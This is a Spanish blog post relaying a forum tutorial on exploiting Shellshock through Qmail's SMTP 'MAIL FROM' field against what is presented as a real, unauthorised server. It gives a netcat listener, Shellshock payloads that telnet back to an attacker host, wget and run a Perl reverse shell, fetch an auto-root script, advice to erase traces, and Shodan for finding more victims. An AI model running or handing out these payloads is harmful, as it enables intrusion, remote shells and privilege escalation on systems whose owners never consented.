Explotar Shellshock en smtp QMAIL

No Comments
Buenas, despues de andar jugando con Whatsapp y con Android ahora venimos con esta entrada del ya hablado ShellShock la vulnerabilidad boom del momento, de la mano de un conocido de Underc0de les hablo de hdbreaker que nos explica con este PoC la explotación de Shellshock en smtp de QMAIL y aun mas haciendo uso de Shodan para la busqueda de objetivos.
ShellShock Exploit PoC

Bueno antes que nada le agradezco a hielasangre por sacarme el bloqueo :P

Como he leido mucho de shellshock y nada sobre como explotarlo, les dejo un pequeño tutorial de como explotarlo un poco más allá que en los clasicos user-agent (que siendo realista muy pocos servidores utlizán cgi-scripts y menos hechos en bash)

Esto afecta a los servidores smtp de QMAIL por no validar correctamente el encabezado FROM MAIL:<> permitiendo ingresar como email cualquier string,
nosotros aprovecharemos esto para lograr ejecutar nuestro codigo arbitrario con la ayuda de shellshock

Para el PoC use este servidor que encontre vulnerable: 200.80.35.42

Empezamos!

1) Dejamos a la escucha el puerto donde queremos recibir la conexión entrante:

nc -vv -l -p 9669



2) Nos conectamos al servidor smtp y realizamos el ataque

nc -vv 200.80.35.42 25

Entablamos toda la negociación necesaria con el servidor SMTP, esto consta de 4 pasos

.helo me (Le comunicamos al servidor que necesitamos usar su servicio)
.mail from:<direccion@gmail.com> (establecemos la dirección de email remitente) ---> ACÁ INYECTAMOS NUESTRO CODIGO SHELLSHOCK
rcpt to: <> (direccion@dominio.com) (establecemos la direccion del receptor del mensaje)
data (Comenzamos a escribir el email)
Subject: Titulo. (Establecemos el titulo del mensaje y lo terminamos con un .)
Mensaje. (Escribimos el mensaje terminado con un .)

FIN (Esperamos que se complete el proceso)


Bueno como mas arriba dije el error radica en que QMAIL no valida que lo ingresado en MAIL FROM sea un email
entonces en mi caso inyecto el siguiente payload shellshock:

() { :;}; /usr/bin/telnet xxxx.no-ip.org 9669

Al terminar el proceso de QMAIL deberia ejecutar el codigo arbitrario inyectado en la variable global de la función de shellshock y devolvernos una conexion entrante a nuestro puerto a la escucha



Esto significa q con un poco de conocimiento hemos logrado ejecutar codigo arbitrario en el servidor mediante un servidor vulnerable explotando un error de validación de SMTP, en este simple PoC me devolví una conexión telnet, pero podriamos jugar con los comandos para subir un reverse shell y ganar acceso al sistema, veamos como!

Esta vez vamos a ejecutar codigo arbitrario para descargarnos de nuestro servidor web un reverse shell en perl

Payload:

() { :;}; /usr/bin/wget xxx.no-ip.org:8080/rsh.perl



esperamos un tiempo considerable para asegurarnos la descarga de nuestro script, ponemos a escuchar nuevamente nc



y ejecutamos nuestro archivo perl

() { :;}; /usr/bin/perl rsh.perl xxx.no-ip.org 9669 -l



y ahora tenemos acceso al sistema! JA! si indagamos un poco y largamos un whoami! vemos que es un kernel 2.6



Intentemos rootearlo, yo en mi caso use un AutoRoot en perl que encontre por internet.

wget xxx.no-ip.com:8081/AutoRoot.pl



Pasemos a ver si tenemos suerte!

Ejecutamos los AutoRoot.pl y vemos q sucede (yo en mi caso moví ambos archivos a otra carpeta)

perl AutoRoot.pl y esperamos!

En este caso no hemos tenido suerte, lo que no descarta que buscando un poco podamos hacer un rooteo manual del servidor :P (De hecho ya lo hice)
pero eso quedara para otro tutorial! (Estoy haciendo el tutorial mientras realizo la intrusión)

 No nos olvidemos de borrar todas nuestras huellas!

Y despues de esto preguntaran, cuantos sitios vulnerables a shellshock existen, bueno yo me ayude un poco de mi amigo SHODAN






Solo queda dar las gracias a hdbreaker por compartir la información y enseñarnos la explotación respectiv.

Regards,
Snifer

0 comentarios

Publicar un comentario en la entrada